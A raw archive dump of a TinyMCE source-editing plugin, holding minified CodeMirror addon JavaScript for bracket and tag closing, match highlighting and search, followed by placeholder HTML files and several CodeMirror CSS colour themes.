b="()[]{}''\"\"",c="[]{}",d=/\s/,e=a.Pos;a.defineOption("autoCloseBrackets",!1,function(d,e,f){if(f!=a.Init&&f&&d.removeKeyMap("autoCloseBrackets"),e){var g=b,j=c;"string"==typeof e?g=e:"object"==typeof e&&(null!=e.pairs&&(g=e.pairs),null!=e.explode&&(j=e.explode));var k=h(g);j&&(k.Enter=i(j)),d.addKeyMap(k)}})}),function(a){"object"==typeof exports&&"object"==typeof module?a(require("../../lib/codemirror"),require("../fold/xml-fold")):"function"==typeof define&&define.amd?define(["../../lib/codemirror","../fold/xml-fold"],a):a(CodeMirror)}(function(a){function d(d){if(d.getOption("disableInput"))return a.Pass;for(var e=d.listSelections(),h=[],i=0;i<e.length;i++){if(!e[i].empty())return a.Pass;var j=e[i].head,k=d.getTokenAt(j),l=a.innerMode(d.getMode(),k.state),m=l.state;if("xml"!=l.mode.name||!m.tagName)return a.Pass;var n=d.getOption("autoCloseTags"),o="html"==l.mode.configuration,p="object"==typeof n&&n.dontCloseTags||o&&b,q="object"==typeof n&&n.indentTags||o&&c,r=m.tagName;k.end>j.ch&&(r=r.slice(0,r.length-k.end+j.ch));var s=r.toLowerCase();if(!r||"string"==k.type&&(k.end!=j.ch||!/[\"\']/.test(k.string.charAt(k.string.length-1))||1==k.string.length)||"tag"==k.type&&"closeTag"==m.type||k.string.indexOf("/")==k.string.length-1||p&&f(p,s)>-1||g(d,r,j,m,!0))return a.Pass;var t=q&&f(q,s)>-1;h[i]={indent:t,text:">"+(t?"\n\n":"")+"</"+r+">",newPos:t?a.Pos(j.line+1,0):a.Pos(j.line,j.ch+1)}}for(var i=e.length-1;i>=0;i--){var u=h[i];d.replaceRange(u.text,e[i].head,e[i].anchor,"+insert");var v=d.listSelections().slice(0);v[i]={head:u.newPos,anchor:u.newPos},d.setSelections(v),u.indent&&(d.indentLine(u.newPos.line,null,!0),d.indentLine(u.newPos.line+1,null,!0))}}function e(b){if(b.getOption("disableInput"))return a.Pass;for(var c=b.listSelections(),d=[],e=0;e<c.length;e++){if(!c[e].empty())return a.Pass;var f=c[e].head,h=b.getTokenAt(f),i=a.innerMode(b.getMode(),h.state),j=i.state;if("string"==h.type||"<"!=h.string.charAt(0)||h.start!=f.ch-1)return a.Pass;if("xml"!=i.mode.name)if("htmlmixed"==b.getMode().name&&"javascript"==i.mode.name)d[e]="/script>";else{if("htmlmixed"!=b.getMode().name||"css"!=i.mode.name)return a.Pass;d[e]="/style>"}else{if(!j.context||!j.context.tagName||g(b,j.context.tagName,f,j))return a.Pass;d[e]="/"+j.context.tagName+">"}}b.replaceSelections(d),c=b.listSelections();for(var e=0;e<c.length;e++)(e==c.length-1||c[e].head.line<c[e+1].head.line)&&b.indentLine(c[e].head.line)}function f(a,b){if(a.indexOf)return a.indexOf(b);for(var c=0,d=a.length;d>c;++c)if(a[c]==b)return c;return-1}function g(b,c,d,e,f){if(!a.scanForClosingTag)return!1;var g=Math.min(b.lastLine()+1,d.line+500),h=a.scanForClosingTag(b,d,null,g);if(!h||h.tag!=c)return!1;for(var i=e.context,j=f?1:0;i&&i.tagName==c;i=i.prev)++j;d=h.to;for(var k=1;j>k;k++){var l=a.scanForClosingTag(b,d,null,g);if(!l||l.tag!=c)return!1;d=l.to}return!0}a.defineOption("autoCloseTags",!1,function(b,c,f){if(f!=a.Init&&f&&b.removeKeyMap("autoCloseTags"),c){var g={name:"autoCloseTags"};("object"!=typeof c||c.whenClosing)&&(g["'/'"]=function(a){return e(a)}),("object"!=typeof c||c.whenOpening)&&(g["'>'"]=function(a){return d(a)}),b.addKeyMap(g)}});var b=["area","base","br","col","command","embed","hr","img","input","keygen","link","meta","param","source","track","wbr"],c=["applet","blockquote","body","button","div","dl","fieldset","form","frameset","h1","h2","h3","h4","h5","h6","head","html","iframe","layer","legend","object","ol","p","select","table","ul"]}),function(a){"object"==typeof exports&&"object"==typeof module?a(require("../../lib/codemirror")):"function"==typeof define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)}(function(a){"use strict";function b(a){a.operation(function(){j(a)})}function c(a){a.state.markedSelection.length&&a.operation(function(){h(a)})}function g(a,b,c,g){if(0!=f(b,c))for(var h=a.state.markedSelection,i=a.state.markedSelectionStyle,j=b.line;;){var k=j==b.line?b:e(j,0),l=j+d,m=l>=c.line,n=m?c:e(l,0),o=a.markText(k,n,{className:i});if(null==g?h.push(o):h.splice(g++,0,o),m)break;j=l}}function h(a){for(var b=a.state.markedSelection,c=0;c<b.length;++c)b[c].clear();b.length=0}function i(a){h(a);for(var b=a.listSelections(),c=0;c<b.length;c++)g(a,b[c].from(),b[c].to())}function j(a){if(!a.somethingSelected())return h(a);if(a.listSelections().length>1)return i(a);var b=a.getCursor("start"),c=a.getCursor("end"),e=a.state.markedSelection;if(!e.length)return g(a,b,c);var j=e[0].find(),k=e[e.length-1].find();if(!j||!k||c.line-b.line<d||f(b,k.to)>=0||f(c,j.from)<=0)return i(a);for(;f(b,j.from)>0;)e.shift().clear(),j=e[0].find();for(f(b,j.from)<0&&(j.to.line-b.line<d?(e.shift().clear(),g(a,b,j.to,0)):g(a,b,j.from,0));f(c,k.to)<0;)e.pop().clear(),k=e[e.length-1].find();f(c,k.to)>0&&(c.line-k.from.line<d?(e.pop().clear(),g(a,k.from,c)):g(a,k.to,c))}a.defineOption("styleSelectedText",!1,function(d,e,f){var g=f&&f!=a.Init;e&&!g?(d.state.markedSelection=[],d.state.markedSelectionStyle="string"==typeof e?e:"CodeMirror-selectedtext",i(d),d.on("cursorActivity",b),d.on("change",c)):!e&&g&&(d.off("cursorActivity",b),d.off("change",c),h(d),d.state.markedSelection=d.state.markedSelectionStyle=null)});var d=8,e=a.Pos,f=a.cmpPos}),function(a){"object"==typeof exports&&"object"==typeof module?a(require("../../lib/codemirror")):"function"==typeof define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)}(function(a){"use strict";function f(a){"object"==typeof a&&(this.minChars=a.minChars,this.style=a.style,this.showToken=a.showToken,this.delay=a.delay,this.wordsOnly=a.wordsOnly),null==this.style&&(this.style=c),null==this.minChars&&(this.minChars=b),null==this.delay&&(this.delay=d),null==this.wordsOnly&&(this.wordsOnly=e),this.overlay=this.timeout=null}function g(a){var b=a.state.matchHighlighter;clearTimeout(b.timeout),b.timeout=setTimeout(function(){h(a)},b.delay)}function h(a){a.operation(function(){var b=a.state.matchHighlighter;if(b.overlay&&(a.removeOverlay(b.overlay),b.overlay=null),!a.somethingSelected()&&b.showToken){for(var c=b.showToken===!0?/[\w$]/:b.showToken,d=a.getCursor(),e=a.getLine(d.line),f=d.ch,g=f;f&&c.test(e.charAt(f-1));)--f;for(;g<e.length&&c.test(e.charAt(g));)++g;return g>f&&a.addOverlay(b.overlay=k(e.slice(f,g),c,b.style)),void 0}var h=a.getCursor("from"),j=a.getCursor("to");if(h.line==j.line&&(!b.wordsOnly||i(a,h,j))){var l=a.getRange(h,j).replace(/^\s+|\s+$/g,"");l.length>=b.minChars&&a.addOverlay(b.overlay=k(l,!1,b.style))}})}function i(a,b,c){var d=a.getRange(b,c);if(null!==d.match(/^\w+$/)){if(b.ch>0){var e={line:b.line,ch:b.ch-1},f=a.getRange(e,b);if(null===f.match(/\W/))return!1}if(c.ch<a.getLine(b.line).length){var e={line:c.line,ch:c.ch+1},f=a.getRange(c,e);if(null===f.match(/\W/))return!1}return!0}return!1}function j(a,b){return!(a.start&&b.test(a.string.charAt(a.start-1))||a.pos!=a.string.length&&b.test(a.string.charAt(a.pos)))}function k(a,b,c){return{token:function(d){return!d.match(a)||b&&!j(d,b)?(d.next(),d.skipTo(a.charAt(0))||d.skipToEnd(),void 0):c}}}var b=2,c="matchhighlight",d=100,e=!1;a.defineOption("highlightSelectionMatches",!1,function(b,c,d){if(d&&d!=a.Init){var e=b.state.matchHighlighter.overlay;e&&b.removeOverlay(e),clearTimeout(b.state.matchHighlighter.timeout),b.state.matchHighlighter=null,b.off("cursorActivity",g)}c&&(b.state.matchHighlighter=new f(c),h(b),b.on("cursorActivity",g))})}),function(a){"object"==typeof exports&&"object"==typeof module?a(require("../../lib/codemirror")):"function"==typeof define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)}(function(a){function e(a,b,e,g){var h=a.getLineHandle(b.line),i=b.ch-1,j=i>=0&&d[h.text.charAt(i)]||d[h.text.charAt(++i)];if(!j)return null;var k=">"==j.charAt(1)?1:-1;if(e&&k>0!=(i==b.ch))return null;var l=a.getTokenTypeAt(c(b.line,i+1)),m=f(a,c(b.line,i+(k>0?1:0)),k,l||null,g);return null==m?null:{from:c(b.line,i),to:m&&m.pos,match:m&&m.ch==j.charAt(0),forward:k>0}}function f(a,b,e,f,g){for(var h=g&&g.maxScanLineLength||1e4,i=g&&g.maxScanLines||1e3,j=[],k=g&&g.bracketRegex?g.bracketRegex:/[(){}[\]]/,l=e>0?Math.min(b.line+i,a.lastLine()+1):Math.max(a.firstLine()-1,b.line-i),m=b.line;m!=l;m+=e){var n=a.getLine(m);if(n){var o=e>0?0:n.length-1,p=e>0?n.length:-1;if(!(n.length>h))for(m==b.line&&(o=b.ch-(0>e?1:0));o!=p;o+=e){var q=n.charAt(o);if(k.test(q)&&(void 0===f||a.getTokenTypeAt(c(m,o+1))==f)){var r=d[q];if(">"==r.charAt(1)==e>0)j.push(q);else{if(!j.length)return{pos:c(m,o),ch:q};j.pop()}}}}}return m-e==(e>0?a.lastLine():a.firstLine())?!1:null}function g(a,d,f){for(var g=a.state.matchBrackets.maxHighlightLineLength||1e3,h=[],i=a.listSelections(),j=0;j<i.length;j++){var k=i[j].empty()&&e(a,i[j].head,!1,f);if(k&&a.getLine(k.from.line).length<=g){var l=k.match?"CodeMirror-matchingbracket":"CodeMirror-nonmatchingbracket";h.push(a.markText(k.from,c(k.from.line,k.from.ch+1),{className:l})),k.to&&a.getLine(k.to.line).length<=g&&h.push(a.markText(k.to,c(k.to.line,k.to.ch+1),{className:l}))}}if(h.length){b&&a.state.focused&&a.display.input.focus();var m=function(){a.operation(function(){for(var a=0;a<h.length;a++)h[a].clear()})};if(!d)return m;setTimeout(m,800)}}function i(a){a.operation(function(){h&&(h(),h=null),h=g(a,!1,a.state.matchBrackets)})}var b=/MSIE \d/.test(navigator.userAgent)&&(null==document.documentMode||document.documentMode<8),c=a.Pos,d={"(":")>",")":"(<","[":"]>","]":"[<","{":"}>","}":"{<"},h=null;a.defineOption("matchBrackets",!1,function(b,c,d){d&&d!=a.Init&&b.off("cursorActivity",i),c&&(b.state.matchBrackets="object"==typeof c?c:{},b.on("cursorActivity",i))}),a.defineExtension("matchBrackets",function(){g(this,!0)}),a.defineExtension("findMatchingBracket",function(a,b,c){return e(this,a,b,c)}),a.defineExtension("scanForBracket",function(a,b,c,d){return f(this,a,b,c,d)})}),function(a){"object"==typeof exports&&"object"==typeof module?a(require("../../lib/codemirror"),require("./searchcursor"),require("../dialog/dialog")):"function"==typeof define&&define.amd?define(["../../lib/codemirror","./searchcursor","../dialog/dialog"],a):a(CodeMirror)}(function(a){"use strict";function b(a,b){return"string"==typeof a?a=new RegExp(a.replace(/[\-\[\]\/\{\}\(\)\*\+\?\.\\\^\$\|]/g,"\\$&"),b?"gi":"g"):a.global||(a=new RegExp(a.source,a.ignoreCase?"gi":"g")),{token:function(b){a.lastIndex=b.pos;var c=a.exec(b.string);return c&&c.index==b.pos?(b.pos+=c[0].length,"searching"):(c?b.pos=c.index:b.skipToEnd(),void 0)}}}function c(){this.posFrom=this.posTo=this.query=null,this.overlay=null}function d(a){return a.state.search||(a.state.search=new c)}function e(a){return"string"==typeof a&&a==a.toLowerCase()}function f(a,b,c){return a.getSearchCursor(b,c,e(b))}function g(a,b,c,d,e){a.openDialog?a.openDialog(b,e,{value:d}):e(prompt(c,d))}function h(a,b,c,d){a.openConfirm?a.openConfirm(b,d):confirm(c)&&d[0]()}function i(a){var b=a.match(/^\/(.*)\/([a-z]*)$/);return b?(a=new RegExp(b[1],-1==b[2].indexOf("i")?"":"i"),a.test("")&&(a=/x^/)):""==a&&(a=/x^/),a}function k(a,c){var f=d(a);return f.query?l(a,c):(g(a,j,"Search for:",a.getSelection(),function(d){a.operation(function(){d&&!f.query&&(f.query=i(d),a.removeOverlay(f.overlay,e(f.query)),f.overlay=b(f.query,e(f.query)),a.addOverlay(f.overlay),f.posFrom=f.posTo=a.getCursor(),l(a,c))})}),void 0)}function l(b,c){b.operation(function(){var e=d(b),g=f(b,e.query,c?e.posFrom:e.posTo);(g.find(c)||(g=f(b,e.query,c?a.Pos(b.lastLine()):a.Pos(b.firstLine(),0)),g.find(c)))&&(b.setSelection(g.from(),g.to()),b.scrollIntoView({from:g.from(),to:g.to()}),e.posFrom=g.from(),e.posTo=g.to())})}function m(a){a.operation(function(){var b=d(a);b.query&&(b.query=null,a.removeOverlay(b.overlay))})}function q(a,b){a.getOption("readOnly")||g(a,n,"Replace:",a.getSelection(),function(c){c&&(c=i(c),g(a,o,"Replace with:","",function(d){if(b)a.operation(function(){for(var b=f(a,c);b.findNext();)if("string"!=typeof c){var e=a.getRange(b.from(),b.to()).match(c);b.replace(d.replace(/\$(\d)/g,function(a,b){return e[b]}))}else b.replace(d)});else{m(a);var e=f(a,c,a.getCursor()),g=function(){var d,b=e.from();!(d=e.findNext())&&(e=f(a,c),!(d=e.findNext())||b&&e.from().line==b.line&&e.from().ch==b.ch)||(a.setSelection(e.from(),e.to()),a.scrollIntoView({from:e.from(),to:e.to()}),h(a,p,"Replace?",[function(){i(d)},g]))},i=function(a){e.replace("string"==typeof c?d:d.replace(/\$(\d)/g,function(b,c){return a[c]})),g()};g()}}))})}var j='Search: <input type="text" style="width: 10em" class="CodeMirror-search-field"/> <span style="color: #888" class="CodeMirror-search-hint">(Use /re/ syntax for regexp search)</span>',n='Replace: <input type="text" style="width: 10em" class="CodeMirror-search-field"/> <span style="color: #888" class="CodeMirror-search-hint">(Use /re/ syntax for regexp search)</span>',o='With: <input type="text" style="width: 10em" class="CodeMirror-search-field"/>',p="Replace? <button>Yes</button> <button>No</button> <button>Stop</button>";a.commands.find=function(a){m(a),k(a)},a.commands.findNext=k,a.commands.findPrev=function(a){k(a,!0)},a.commands.clearSearch=m,a.commands.replace=q,a.commands.replaceAll=function(a){q(a,!0)}}),function(a){"object"==typeof exports&&"object"==typeof module?a(require("../../lib/codemirror")):"function"==typeof define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)}(function(a){"use strict";function c(a,c,e,f){if(this.atOccurrence=!1,this.doc=a,null==f&&"string"==typeof c&&(f=!1),e=e?a.clipPos(e):b(0,0),this.pos={from:e,to:e},"string"!=typeof c)c.global||(c=new RegExp(c.source,c.ignoreCase?"ig":"g")),this.matches=function(d,e){if(d){c.lastIndex=0;for(var h,i,f=a.getLine(e.line).slice(0,e.ch),g=0;;){c.lastIndex=g;var j=c.exec(f);if(!j)break;if(h=j,i=h.index,g=h.index+(h[0].length||1),g==f.length)break}var k=h&&h[0].length||0;k||(0==i&&0==f.length?h=void 0:i!=a.getLine(e.line).length&&k++)}else{c.lastIndex=e.ch;var f=a.getLine(e.line),h=c.exec(f),k=h&&h[0].length||0,i=h&&h.index;i+k==f.length||k||(k=1)}return h&&k?{from:b(e.line,i),to:b(e.line,i+k),match:h}:void 0};else{var g=c;f&&(c=c.toLowerCase());var h=f?function(a){return a.toLowerCase()}:function(a){return a},i=c.split("\n");if(1==i.length)this.matches=c.length?function(e,f){if(e){var i=a.getLine(f.line).slice(0,f.ch),j=h(i),k=j.lastIndexOf(c);if(k>-1)return k=d(i,j,k),{from:b(f.line,k),to:b(f.line,k+g.length)}}else{var i=a.getLine(f.line).slice(f.ch),j=h(i),k=j.indexOf(c);if(k>-1)return k=d(i,j,k)+f.ch,{from:b(f.line,k),to:b(f.line,k+g.length)}}}:function(){};else{var j=g.split("\n");this.matches=function(c,d){var e=i.length-1;if(c){if(d.line-(i.length-1)<a.firstLine())return;if(h(a.getLine(d.line).slice(0,j[e].length))!=i[i.length-1])return;for(var f=b(d.line,j[e].length),g=d.line-1,k=e-1;k>=1;--k,--g)if(i[k]!=h(a.getLine(g)))return;var l=a.getLine(g),m=l.length-j[0].length;if(h(l.slice(m))!=i[0])return;return{from:b(g,m),to:f}}if(!(d.line+(i.length-1)>a.lastLine())){var l=a.getLine(d.line),m=l.length-j[0].length;if(h(l.slice(m))==i[0]){for(var n=b(d.line,m),g=d.line+1,k=1;e>k;++k,++g)if(i[k]!=h(a.getLine(g)))return;if(h(a.getLine(g).slice(0,j[e].length))==i[e])return{from:n,to:b(g,j[e].length)}}}}}}}function d(a,b,c){if(a.length==b.length)return c;for(var d=Math.min(c,a.length);;){var e=a.slice(0,d).toLowerCase().length;if(c>e)++d;else{if(!(e>c))return d;--d}}}var b=a.Pos;c.prototype={findNext:function(){return this.find(!1)},findPrevious:function(){return this.find(!0)},find:function(a){function e(a){var d=b(a,0);return c.pos={from:d,to:d},c.atOccurrence=!1,!1}for(var c=this,d=this.doc.clipPos(a?this.pos.from:this.pos.to);;){if(this.pos=this.matches(a,d))return this.atOccurrence=!0,this.pos.match||!0;if(a){if(!d.line)return e(0);d=b(d.line-1,this.doc.getLine(d.line-1).length)}else{var f=this.doc.lineCount();if(d.line==f-1)return e(f);d=b(d.line+1,0)}}},from:function(){return this.atOccurrence?this.pos.from:void 0},to:function(){return this.atOccurrence?this.pos.to:void 0},replace:function(c){if(this.atOccurrence){var d=a.splitLines(c);this.doc.replaceRange(d,this.pos.from,this.pos.to),this.pos.to=b(this.pos.from.line+d.length-1,d[d.length-1].length+(1==d.length?this.pos.from.ch:0))}}},a.defineExtension("getSearchCursor",function(a,b,d){return new c(this.doc,a,b,d)}),a.defineDocExtension("getSearchCursor",function(a,b,d){return new c(this,a,b,d)}),a.defineExtension("selectMatches",function(b,c){for(var e,d=[],f=this.getSearchCursor(b,this.getCursor("from"),c);(e=f.findNext())&&!(a.cmpPos(f.to(),this.getCursor("to"))>0);)d.push({anchor:f.from(),head:f.to()});d.length&&this.setSelections(d,0)})});editor/tiny_mce/plugins/source/js/index.html000060400000000054150750527140015234 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/tiny_mce/plugins/source/css/index.html000060400000000054150750527140015410 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/tiny_mce/plugins/source/css/codemirror/codemirror.css000060400000012001150750527140020432 0ustar00/*Copyright (C) 2013 by Marijn Haverbeke <marijnh@gmail.com> | https://github.com/marijnh/CodeMirror/blob/master/LICENSE*/
.CodeMirror{font-family:monospace;height:300px;}.CodeMirror-scroll{overflow:auto;}.CodeMirror-lines{padding:4px 0;}.CodeMirror pre{padding:0 4px;}.CodeMirror-scrollbar-filler,.CodeMirror-gutter-filler{background-color:white;}.CodeMirror-gutters{border-right:1px solid #ddd;background-color:#f7f7f7;white-space:nowrap;}.CodeMirror-linenumber{padding:0 3px 0 5px;min-width:20px;text-align:right;color:#999;-moz-box-sizing:content-box;box-sizing:content-box;}.CodeMirror-guttermarker{color:black;}.CodeMirror-guttermarker-subtle{color:#999;}.CodeMirror div.CodeMirror-cursor{border-left:1px solid black;}.CodeMirror div.CodeMirror-secondarycursor{border-left:1px solid silver;}.CodeMirror.cm-keymap-fat-cursor div.CodeMirror-cursor{width:auto;border:0;background:#7e7;}.CodeMirror.cm-keymap-fat-cursor div.CodeMirror-cursors{z-index:1;}.cm-animate-fat-cursor{width:auto;border:0;-webkit-animation:blink 1.06s steps(1) infinite;-moz-animation:blink 1.06s steps(1) infinite;animation:blink 1.06s steps(1) infinite;}@-moz-keyframes blink{0%{background:#7e7;}50%{background:none;}100%{background:#7e7;}}@-webkit-keyframes blink{0%{background:#7e7;}50%{background:none;}100%{background:#7e7;}}@keyframes blink{0%{background:#7e7;}50%{background:none;}100%{background:#7e7;}}.cm-tab{display:inline-block;text-decoration:inherit;}.CodeMirror-ruler{border-left:1px solid #ccc;position:absolute;}.cm-s-default .cm-keyword{color:#708;}.cm-s-default .cm-atom{color:#219;}.cm-s-default .cm-number{color:#164;}.cm-s-default .cm-def{color:#00f;}.cm-s-default .cm-variable-2{color:#05a;}.cm-s-default .cm-variable-3{color:#085;}.cm-s-default .cm-comment{color:#a50;}.cm-s-default .cm-string{color:#a11;}.cm-s-default .cm-string-2{color:#f50;}.cm-s-default .cm-meta{color:#555;}.cm-s-default .cm-qualifier{color:#555;}.cm-s-default .cm-builtin{color:#30a;}.cm-s-default .cm-bracket{color:#997;}.cm-s-default .cm-tag{color:#170;}.cm-s-default .cm-attribute{color:#00c;}.cm-s-default .cm-header{color:blue;}.cm-s-default .cm-quote{color:#090;}.cm-s-default .cm-hr{color:#999;}.cm-s-default .cm-link{color:#00c;}.cm-negative{color:#d44;}.cm-positive{color:#292;}.cm-header,.cm-strong{font-weight:bold;}.cm-em{font-style:italic;}.cm-link{text-decoration:underline;}.cm-s-default .cm-error{color:#f00;}.cm-invalidchar{color:#f00;}div.CodeMirror span.CodeMirror-matchingbracket{color:#0f0;}div.CodeMirror span.CodeMirror-nonmatchingbracket{color:#f22;}.CodeMirror-matchingtag{background:rgba(255,150,0,.3);}.CodeMirror-activeline-background{background:#e8f2ff;}.CodeMirror{line-height:1;position:relative;overflow:hidden;background:white;color:black;}.CodeMirror-scroll{margin-bottom:-30px;margin-right:-30px;padding-bottom:30px;height:100%;outline:none;position:relative;-moz-box-sizing:content-box;box-sizing:content-box;}.CodeMirror-sizer{position:relative;border-right:30px solid transparent;-moz-box-sizing:content-box;box-sizing:content-box;}.CodeMirror-vscrollbar,.CodeMirror-hscrollbar,.CodeMirror-scrollbar-filler,.CodeMirror-gutter-filler{position:absolute;z-index:6;display:none;}.CodeMirror-vscrollbar{right:0;top:0;overflow-x:hidden;overflow-y:scroll;}.CodeMirror-hscrollbar{bottom:0;left:0;overflow-y:hidden;overflow-x:scroll;}.CodeMirror-scrollbar-filler{right:0;bottom:0;}.CodeMirror-gutter-filler{left:0;bottom:0;}.CodeMirror-gutters{position:absolute;left:0;top:0;padding-bottom:30px;z-index:3;}.CodeMirror-gutter{white-space:normal;height:100%;-moz-box-sizing:content-box;box-sizing:content-box;padding-bottom:30px;margin-bottom:-32px;display:inline-block;*zoom:1;*display:inline;}.CodeMirror-gutter-elt{position:absolute;cursor:default;z-index:4;}.CodeMirror-lines{cursor:text;min-height:1px;}.CodeMirror pre{-moz-border-radius:0;-webkit-border-radius:0;border-radius:0;border-width:0;background:transparent;font-family:inherit;font-size:inherit;margin:0;white-space:pre;word-wrap:normal;line-height:inherit;color:inherit;z-index:2;position:relative;overflow:visible;}.CodeMirror-wrap pre{word-wrap:break-word;white-space:pre-wrap;word-break:normal;}.CodeMirror-linebackground{position:absolute;left:0;right:0;top:0;bottom:0;z-index:0;}.CodeMirror-linewidget{position:relative;z-index:2;overflow:auto;}.CodeMirror-wrap .CodeMirror-scroll{overflow-x:hidden;}.CodeMirror-measure{position:absolute;width:100%;height:0;overflow:hidden;visibility:hidden;}.CodeMirror-measure pre{position:static;}.CodeMirror div.CodeMirror-cursor{position:absolute;border-right:none;width:0;}div.CodeMirror-cursors{visibility:hidden;position:relative;z-index:3;}.CodeMirror-focused div.CodeMirror-cursors{visibility:visible;}.CodeMirror-selected{background:#d9d9d9;}.CodeMirror-focused .CodeMirror-selected{background:#d7d4f0;}.CodeMirror-crosshair{cursor:crosshair;}.cm-searching{background:#ffa;background:rgba(255,255,0,.4);}.CodeMirror span{*vertical-align:text-bottom;}.cm-force-border{padding-right:.1px;}@media print{.CodeMirror div.CodeMirror-cursors{visibility:hidden;}}span.CodeMirror-selectedtext{background:none;}editor/tiny_mce/plugins/source/css/codemirror/theme/index.html000060400000000054150750527140020657 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/tiny_mce/plugins/source/css/codemirror/theme/codemirror.css000060400000000526150750527140021545 0ustar00/*Copyright (C) 2013 by Marijn Haverbeke <marijnh@gmail.com> | https://github.com/marijnh/CodeMirror/blob/master/LICENSE*/
.cm-s-default .cm-matchhighlight{background:#e9e9e9;}.cm-s-default .CodeMirror-activeline-background{background:none repeat scroll 0 0 #e8f2ff;}.cm-s-default .cm-searching{background:#ffa;background:rgba(255,255,0,.4);}editor/tiny_mce/plugins/source/css/codemirror/theme/cobalt.css000060400000002456150750527140020650 0ustar00/*Copyright (C) 2013 by Marijn Haverbeke <marijnh@gmail.com> | https://github.com/marijnh/CodeMirror/blob/master/LICENSE*/
.cm-s-cobalt{background:#002240;color:white;}.cm-s-cobalt div.CodeMirror-selected{background:#b36539!important;}.cm-s-cobalt .CodeMirror-gutter{background:#002240;border-right:1px solid #aaa;}.cm-s-cobalt .CodeMirror-gutter-text{color:#d0d0d0;}.cm-s-cobalt .CodeMirror-cursor{border-left:1px solid white!important;}.cm-s-cobalt span.cm-comment{color:#08f;}.cm-s-cobalt span.cm-atom{color:#845dc4;}.cm-s-cobalt span.cm-number,.cm-s-cobalt span.cm-attribute{color:#ff80e1;}.cm-s-cobalt span.cm-keyword{color:#ffee80;}.cm-s-cobalt span.cm-string{color:#3ad900;}.cm-s-cobalt span.cm-meta{color:#ff9d00;}.cm-s-cobalt span.cm-variable-2,.cm-s-cobalt span.cm-tag{color:#9effff;}.cm-s-cobalt span.cm-variable-3,.cm-s-cobalt span.cm-def{color:white;}.cm-s-cobalt span.cm-error{color:#9d1e15;}.cm-s-cobalt span.cm-bracket{color:#d8d8d8;}.cm-s-cobalt span.cm-builtin,.cm-s-cobalt span.cm-special{color:#ff9e59;}.cm-s-cobalt span.cm-link{color:#845dc4;}.cm-s-cobalt .CodeMirror-activeline-background{background:none repeat scroll 0 0 #002d57!important;}.cm-s-cobalt .cm-matchhighlight{background:none repeat scroll 0 0 rgba(179,101,57,0.6);}.cm-s-cobalt .cm-searching{background:#ffa;background:rgba(255,255,0,.4);}editor/tiny_mce/plugins/source/css/codemirror/theme/blackboard.css000060400000002700150750527140021460 0ustar00/*Copyright (C) 2013 by Marijn Haverbeke <marijnh@gmail.com> | https://github.com/marijnh/CodeMirror/blob/master/LICENSE*/
.cm-s-blackboard.CodeMirror{background:#0C1021;color:#F8F8F8;}.cm-s-blackboard .CodeMirror-selected{background:#253B76!important;}.cm-s-blackboard .CodeMirror-gutters{background:#0C1021;border-right:0;}.cm-s-blackboard .CodeMirror-linenumber{color:#888;}.cm-s-blackboard .CodeMirror-cursor{border-left:1px solid #A7A7A7!important;}.cm-s-blackboard .cm-keyword{color:#FBDE2D;}.cm-s-blackboard .cm-atom{color:#D8FA3C;}.cm-s-blackboard .cm-number{color:#D8FA3C;}.cm-s-blackboard .cm-def{color:#8DA6CE;}.cm-s-blackboard .cm-variable{color:#FF6400;}.cm-s-blackboard .cm-operator{color:#FBDE2D;}.cm-s-blackboard .cm-comment{color:#AEAEAE;}.cm-s-blackboard .cm-string{color:#61CE3C;}.cm-s-blackboard .cm-string-2{color:#61CE3C;}.cm-s-blackboard .cm-meta{color:#D8FA3C;}.cm-s-blackboard .cm-error{background:#9D1E15;color:#F8F8F8;}.cm-s-blackboard .cm-builtin{color:#8DA6CE;}.cm-s-blackboard .cm-tag{color:#8DA6CE;}.cm-s-blackboard .cm-attribute{color:#8DA6CE;}.cm-s-blackboard .cm-header{color:#FF6400;}.cm-s-blackboard .cm-hr{color:#AEAEAE;}.cm-s-blackboard .cm-link{color:#8DA6CE;}.cm-s-blackboard .CodeMirror-activeline-background{background:none repeat scroll 0 0 #3c3636!important;}.cm-s-blackboard .cm-matchhighlight{background:none repeat scroll 0 0 rgba(37,59,118,0.6);}.cm-s-blackboard .cm-searching{background:#ffa;background:rgba(255,255,0,.4);}editor/tiny_mce/plugins/source/css/codemirror/theme/monokai.css000060400000002611150750527140021032 0ustar00/*Copyright (C) 2013 by Marijn Haverbeke <marijnh@gmail.com> | https://github.com/marijnh/CodeMirror/blob/master/LICENSE*/
.cm-s-monokai{background:#272822;color:#f8f8f2;}.cm-s-monokai div.CodeMirror-selected{background:#49483E!important;}.cm-s-monokai .CodeMirror-gutter{background:#272822;border-right:0;}.cm-s-monokai .CodeMirror-gutter-text{color:#d0d0d0;}.cm-s-monokai .CodeMirror-cursor{border-left:1px solid #f8f8f0!important;}.cm-s-monokai span.cm-comment{color:#75715e;}.cm-s-monokai span.cm-atom{color:#ae81ff;}.cm-s-monokai span.cm-number{color:#ae81ff;}.cm-s-monokai span.cm-property,.cm-s-monokai span.cm-attribute{color:#a6e22e;}.cm-s-monokai span.cm-keyword{color:#f92672;}.cm-s-monokai span.cm-string{color:#e6db74;}.cm-s-monokai span.cm-variable{color:#a6e22e;}.cm-s-monokai span.cm-variable-2{color:#9effff;}.cm-s-monokai span.cm-def{color:#fd971f;}.cm-s-monokai span.cm-error{background:#f92672;color:#f8f8f0;}.cm-s-monokai span.cm-bracket{color:#f8f8f2;}.cm-s-monokai span.cm-tag{color:#f92672;}.cm-s-monokai span.cm-link{color:#ae81ff;}.cm-s-monokai .CodeMirror-matchingbracket{text-decoration:underline;color:white!important;}.cm-s-monokai .cm-matchhighlight{background:none repeat scroll 0 0 rgba(73,72,62,0.6);}.cm-s-monokai .CodeMirror-activeline-background{background:none repeat scroll 0 0 rgba(255,255,255,0.035);}.cm-s-monokai .cm-searching{background:#ffa;background:rgba(255,255,0,.4);}editor/tiny_mce/plugins/source/css/codemirror/theme/lesser-dark.css000060400000004207150750527140021614 0ustar00/*Copyright (C) 2013 by Marijn Haverbeke <marijnh@gmail.com> | https://github.com/marijnh/CodeMirror/blob/master/LICENSE*/
